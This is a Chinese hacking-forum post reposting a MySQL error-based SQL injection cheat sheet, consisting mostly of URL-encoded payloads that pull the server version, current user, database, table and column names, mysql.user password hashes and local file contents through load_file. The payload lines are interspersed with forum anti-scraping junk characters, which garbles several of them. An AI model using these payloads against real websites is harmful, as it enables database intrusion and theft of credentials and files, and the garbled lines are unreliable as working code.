找回密码
 立即注册
查看: 2391|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 ! q8 j. g% M0 j& ^

" K2 N! G- ]6 f6 \5 z; Y
2 J  `/ B& ^: J; L. VMysql暴错注入参考(pdf),每天一贴。。。
% D9 ^9 A/ C7 }$ @( A2 N) b
6 G0 _/ K0 b. |* J; a7 X3 HMySql Error Based Injection Reference! D5 y8 y7 L4 e
[Mysql暴错注入参考]0 F5 M2 A* Q/ C9 r! i
Authornig0s1992
7 ]8 D2 T8 ?! K" a) mBlog:http://pnig0s1992.blog.51cto.com/
5 Y& {5 O  c& ]6 e- H* o0 FTeAm:http://www.FreeBuf.com/
; Y( Y1 ^8 Y) Y6 B; ~6 E9 i2 kMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功" x0 h  F( Q8 }! i7 n
小部分版本使用name_const()时会报错.可以用给出的Method.2测试( ^+ B8 z  n; O% w5 {5 y
查询版本:
+ `$ n6 B; T  E. y0 z  ], G* B5 aMethod.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
0 h4 h# ]' n' y  \join+(select+name_const(@@version,0))b)c)
% A) m  X( Y8 N  F/ J0 OMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro+ B/ ^; d3 a- Y$ t; q
up by a)b), W1 A% c! ~* B6 x
查询当前用户:
+ A! E2 X) ?# j/ r# m; h5 Y$ ], ~Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
" Z" L; Y' O+ F+ N+ {( G1 g0 w9 B+ X1 mMethod.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
2 B0 j" @9 c# E+ }& f* c2 M  B: Nand(0)*2))x+from+information_schema.tables+group+by+x)a)
+ c9 T0 R$ P; X! T3 z& u查询当前数据库:, \. U) ^/ ^0 b4 Y8 O9 w
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)4 d& H; O5 I+ i0 Y3 _+ \
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
5 ?" Y, _9 e, {- @or(rand(0)*2))x+from+information_schema.tables+group+by+x)a), D0 O2 n& U6 z8 G
依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+; q8 z# [) }' Y9 w2 W0 E
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n
8 f% k; v( Q* m6 P$ S1 B: x顺序替换
5 t# T" F1 _  a6 f5 P爆指定库数目:
$ P# g6 x9 X$ N" e0 |4 o3 Oand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t
9 }& J8 S& s# ~( V! y1 F9 Wable_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group
9 D( n; f; n% e; P7 ?+by+x)a)+and+1=1 0x6D7973716C=mysql2 F0 |5 W, v6 S. g5 Q1 C
依次爆表:
6 H8 U5 n' j  C' @! W2 s3 R3 v& @and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t1 z8 \6 M- c9 j/ t' B/ H
able_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta
! @# O/ o) a6 t" Q( w, kbles+group+by+x)a)+and+1=1: J7 D9 }7 n+ `6 `$ R* b: }1 s' S
0x6D7973716C=Mysql 将n顺序替换
, M" V9 ~' q- m; n& ?爆表内字段数目:
! n8 f# t7 H6 j1 X; Cand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE' U9 k7 B" O' k6 m
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
1 x& \; J+ X: Y+ \% {( x0 |0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1
5 Q' {: U9 e" A/ F* ]1 _5 \依次爆字段:
9 s& d2 e  f1 W$ H+ @and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where1 J  ^$ B, x& i  ^
+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1
! ~- q9 |9 B6 Q( K" J- ?2 l1 M' rloor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换
) z3 ?9 T# S9 h$ X6 z1 d依次暴内容:
6 K5 Q, M+ o" C) e2 Y3 Q  Fand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
, ^6 d8 R9 K0 ]" y& Kma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1: V6 D7 B. ], |7 X1 z" e/ H: g
将n顺序替换9 {$ A5 B$ l& V9 i7 y% h
爆文件内容:& k! ^+ I6 p3 M
and+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a0 Y  O2 |" c" _  m' t
from+information_schema.tables+group+by+a)b)   `0 c8 ~, a/ e
0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节9 x" A& W4 W- G& J2 W4 g# B
Thx for reading.
; g' }& {$ n" N: ^; E- K. ]
' t+ n9 U! C; a" c7 I* P) Y不要下载也可以, ; k4 A) O! A/ `4 }1 s2 `

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表